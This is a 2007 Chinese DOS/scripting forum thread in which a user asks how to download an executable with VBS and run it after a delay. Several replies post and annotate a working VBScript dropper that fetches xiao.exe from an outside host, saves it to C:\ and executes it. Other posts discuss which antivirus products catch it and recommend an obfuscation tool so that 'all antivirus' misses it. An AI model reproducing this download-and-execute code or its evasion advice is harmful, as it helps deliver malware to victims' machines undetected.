比如我要下载www.xxxxxx.com\1.exe 这个程序 如何用vbs下载 然后放到指定目录 比如放到c:\ 最好能够指定一个时间运行 比如60秒後运行
希望高人帮忙!
希望高人帮忙!
中国DOS联盟
联盟域名：www.cn-dos.net 论坛域名：www.cn-dos.net/forum
DOS，代表着自由开放与发展，我们努力起来，学习FreeDOS和Linux的自由开放与GNU精神，共同创造和发展美好的自由与GNU GPL世界吧！
中国DOS联盟论坛 » DOS批处理 & 脚本技术（批处理室） » [求助]如何用vbs下载并运行指定文件？
查看 1,413 回复 9
楼 主
[求助]如何用vbs下载并运行指定文件？
发表于 2007-04-25 23:22 · 新西兰
第 2 楼
发表于 2007-04-25 23:57 · 中国 甘肃 张掖 电信
iget.vbs
sleep
run
sleep
run
第 3 楼
发表于 2007-04-26 01:41 · 中国 湖北 武汉 电信
楼上已经给出了提示，楼主不妨按照楼上的提示，搜索一下论坛，尝试自己解决一下问题，对你提高很有好处的。
第 4 楼
发表于 2007-04-26 02:08 · 中国 重庆 沙坪坝区 电信
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
wscript.sleep 10000
Shell.Run ("c:\xiao.exe") '延迟过后执行下载文件
好象要被卡吧杀``NOD32都不会杀滴```
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
wscript.sleep 10000
Shell.Run ("c:\xiao.exe") '延迟过后执行下载文件
好象要被卡吧杀``NOD32都不会杀滴```
第 5 楼
发表于 2007-04-26 02:48 · 新西兰
我是对vbs一点都不了解 2楼虽然给出了关键字 但是还是有难度......
4楼的我看不太懂你写的什么意思 能解释一下吗 不好意思 我比较笨 麻烦大家了哈
4楼的我看不太懂你写的什么意思 能解释一下吗 不好意思 我比较笨 麻烦大家了哈
第 6 楼
发表于 2007-04-26 02:58 · 中国 重庆 沙坪坝区 电信
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 ：这里是要下的东西的地址
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2 保存位置
wscript.sleep 10000 延时
Shell.Run ("c:\xiao.exe") 执行
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 ：这里是要下的东西的地址
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2 保存位置
wscript.sleep 10000 延时
Shell.Run ("c:\xiao.exe") 执行
第 7 楼
发表于 2007-04-27 02:45 · 中国 新疆 乌鲁木齐 天山区 电信
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Set Shell = CreateObject("scripting.filesystemobject")
还有哪些对象啊？这些对象下面又有些什么属性和方法，谁有这方面的资料啊？
Set Shell = CreateObject("Wscript.Shell")
Set Shell = CreateObject("scripting.filesystemobject")
还有哪些对象啊？这些对象下面又有些什么属性和方法，谁有这方面的资料啊？
第 8 楼
发表于 2007-04-27 03:14 · 中国 广东 广州 鹏博士宽带
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
这段代码被瑞星认为病毒……杀之而后快。呵呵。
第 9 楼
发表于 2007-05-23 21:29 · 中国 重庆 大渡口区 电信
因为疯子哥哥```等于说小波同志没对这段vbs段码进行加密.加了密过后过所有的杀软
第 10 楼
发表于 2007-05-23 22:46 · 中国 重庆 沙坪坝区 电信
Originally posted by Vampire at 2007-4-27 03:14 AM:
这段代码被瑞星认为病毒……杀之而后快。呵呵。
这个用VBS加密工具加密后就可以了`
baomaboy做了个加密/解密VBS脚本(简易免杀版)1.1
http://www.cn-dos.net/forum/viewthread.php?tid=30500&fpage=1&highlight=1.1`
这个加密后杀软基本上不会报毒了``
[ Last edited by fengzi on 2007-5-24 at 04:38 AM ]
论坛跳转: